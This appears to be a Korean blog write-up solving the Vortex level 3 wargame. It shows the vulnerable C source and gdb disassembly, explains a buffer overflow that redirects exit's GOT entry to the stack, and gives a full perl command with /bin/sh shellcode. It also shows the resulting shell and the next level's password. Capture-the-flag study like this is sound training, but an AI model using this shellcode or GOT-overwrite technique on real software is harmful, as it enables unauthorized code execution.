Vortex Level3
WarGame/Vortex2015. 7. 20. 14:40
/* * 0xbadc0ded.org Challenge #02 (2003-07-08) * * Joel Eriksson*/ #include #include #include unsigned long val = 31337; unsigned long *lp = &val; int main(int argc, char **argv) { unsigned long **lpp = &lp, *tmp; char buf[128]; if (argc != 2) exit(1); strcpy(buf, argv[1]); if (((unsigned long) lpp & 0xffff0000) != 0x08040000) exit(2);./ tmp = *lpp; **lpp = (unsigned long) &buf; // *lpp = tmp; // Fix suggested by Michael Weissbacher @mweissbacher 2013-06-30 exit(0); }
문제를 보면 더이상 ctors,dtors를 사용할 수 없다고 적혀있습니다.
그러므로 우리는 PLT, GOT을 이용한 BOF 공격을 하겠습니다.
(참고:http://lapislazull.tistory.com/54)
변수
lpp --> lp --> val
lpp --> lp --> val[&buf]
lpp --> lp --> exit[&buf]
여기서 공격할 방식은 lpp --> lp --> exit@got
예전 방식 lpp --> lp --> dtors
메인함수를 한번 확인해보죠
vortex3@melinda:/vortex$ gdb -q ./vortex3 Reading symbols from ./vortex3...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) disas main Dump of assembler code for function main: 0x0804842d <+0>: push ebp 0x0804842e <+1>: mov ebp,esp 0x08048430 <+3>: and esp,0xfffffff0 0x08048433 <+6>: sub esp,0xa0 0x08048439 <+12>: mov DWORD PTR [esp+0x9c],0x8049748 0x08048444 <+23>: cmp DWORD PTR [ebp+0x8],0x2 0x08048448 <+27>: je 0x8048456exit@plt를 따라가보겠습니다.0x0804844a <+29>: mov DWORD PTR [esp],0x1 0x08048451 <+36>: call 0x8048310 0x08048456 <+41>: mov eax,DWORD PTR [ebp+0xc] 0x08048459 <+44>: add eax,0x4 0x0804845c <+47>: mov eax,DWORD PTR [eax] 0x0804845e <+49>: mov DWORD PTR [esp+0x4],eax 0x08048462 <+53>: lea eax,[esp+0x18] 0x08048466 <+57>: mov DWORD PTR [esp],eax 0x08048469 <+60>: call 0x80482f0 0x0804846e <+65>: mov eax,DWORD PTR [esp+0x9c] 0x08048475 <+72>: mov ax,0x0 0x08048479 <+76>: cmp eax,0x8040000 0x0804847e <+81>: je 0x804848c 0x08048480 <+83>: mov DWORD PTR [esp],0x2 0x08048487 <+90>: call 0x8048310 0x0804848c <+95>: mov eax,DWORD PTR [esp+0x9c] 0x08048493 <+102>: mov eax,DWORD PTR [eax] 0x08048495 <+104>: mov DWORD PTR [esp+0x98],eax 0x0804849c <+111>: mov eax,DWORD PTR [esp+0x9c] 0x080484a3 <+118>: mov eax,DWORD PTR [eax] 0x080484a5 <+120>: lea edx,[esp+0x18] 0x080484a9 <+124>: mov DWORD PTR [eax],edx 0x080484ab <+126>: mov DWORD PTR [esp],0x0 0x080484b2 <+133>: call 0x8048310 End of assembler dump.
(gdb) x/8i 0x8048310 0x80483100x8049734라는 주소를 실행시키는것을 확인 할 수 있습니다. 즉 저곳이 exit의 함수입니다.: jmp DWORD PTR ds:0x8049734 0x8048316 : push 0x10 0x804831b : jmp 0x80482e0 0x8048320 <__libc_start_main@plt>: jmp DWORD PTR ds:0x8049738 0x8048326 <__libc_start_main@plt+6>: push 0x18 0x804832b <__libc_start_main@plt+11>: jmp 0x80482e0 0x8048330 <_start>: xor ebp,ebp 0x8048332 <_start+2>: pop esi
즉, 상상해봅시다. 우리는 lpp의 값을 덮어 씌울수있으며
lpp --> 0x08049734 --> (exit의 동적 로드 주소) 이렇게 흘러가는데 BOF공격을 통해
lpp --> 0x08049734 --> buf의 주소 이렇게 흘러가도록 말이죠
그러려면 우리는 0x08049734값을 가지는 곳의 주소를 알아야한다.
vortex3@melinda:/vortex$ objdump -s ./vortex3 | grep 34970408 80482a4 34970408 07030000 38970408 07040000 4.......8.......즉, 0x080482a4라는 값에 우리가 원하는 값이 있다. 저값으로 lpp를 덮는것이다.
그렇게 되면 맨아랫줄 **lpp = (unsigned long) &buf;이 실행되는 순간 exit의 주소값이 buf의 주소값으로 변경되게 되는 것이다.
그러러면 buf와 lpp의 거리를 알아야된다 gdb를 통하여 buf는 0x18(%esp) lpp는 0x9c(%esp)인것을 알았다.
buf와 lpp의 거리차이는 0x9c - 0x18 = 0x84 = 132가 두 변수의 거리차이다.
이제 쉘코드와 조합해서 BOF를 해보자
vortex3@melinda:/vortex$ /vortex/vortex3 `perl -e 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" , "\x90"x71 , "\xa4\x82\x04\x08"'` $ whoami vortex4 $ cat /etc/vortex_pass/vortex4 2YmgK1=jw
이때 사용한 Shellcode(61byte) + null(71byte) + lpp변경주소(4byte)
'WarGame > Vortex' 카테고리의 다른 글
Vortex Level2 (0) | 2015.07.20 |
---|---|
Vortex Level1 (0) | 2015.07.20 |
Vortex Level0 (0) | 2015.07.17 |